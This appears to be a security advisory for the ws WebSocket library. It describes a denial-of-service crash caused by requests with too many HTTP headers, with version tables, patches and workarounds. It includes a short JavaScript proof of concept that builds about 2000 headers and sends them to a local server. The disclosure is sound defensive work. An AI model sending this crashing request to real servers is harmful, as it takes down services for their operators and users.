ws affected by a DoS when handling a request with many HTTP headers
Affected releases · ws
- 8.x8.0.0 – 8.17.0Fixed in 8.17.1
- 7.x7.0.0 – 7.5.9Fixed in 7.5.10
- 6.x6.0.0 – 6.2.2Fixed in 6.2.3
- 5.x5.0.0 – 5.2.3Fixed in 5.2.4
- 4.x and older2.1.0 – 4.1.0No fix, no longer updated
On 8.x, the newest line:
npm install ws@8.17.1Affected
8.0.0 – 8.17.0
28 releases
Fixed
8.17.1 – 8.22.0
13 releases, latest
Affected
7.0.0 – 7.5.9
29 releases
Fixed
7.5.10 – 7.5.13
4 releases
Affected
6.0.0 – 6.2.2
9 releases
Fixed
6.2.3 – 6.2.6
4 releases
Affected
5.0.0 – 5.2.3
7 releases
Fixed
5.2.4 – 5.2.7
4 releases
Affected
4.0.0 – 4.1.0
2 releases
Affected
3.0.0 – 3.3.3
7 releases
Not affected
2.0.0 – 2.0.3
4 releases
Affected
2.1.0 – 2.3.1
7 releases
Is your project affected?
Paste your package.json, or type the range you declare for ws. It is read in your browser and sent nowhere.
What happens
Impact
A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.
Proof of concept
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});Patches
The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6).
Workarounds
In vulnerable versions of ws, the issue can be mitigated in the following ways:
Reduce the maximum allowed length of the request headers using the
--max-http-header-size=sizeand/or themaxHeaderSizeoptions so that no more headers than theserver.maxHeadersCountlimit can be sent.Set
server.maxHeadersCountto0so that no limit is applied.
Credits
The vulnerability was reported by Ryan LaPointe in #2230.
References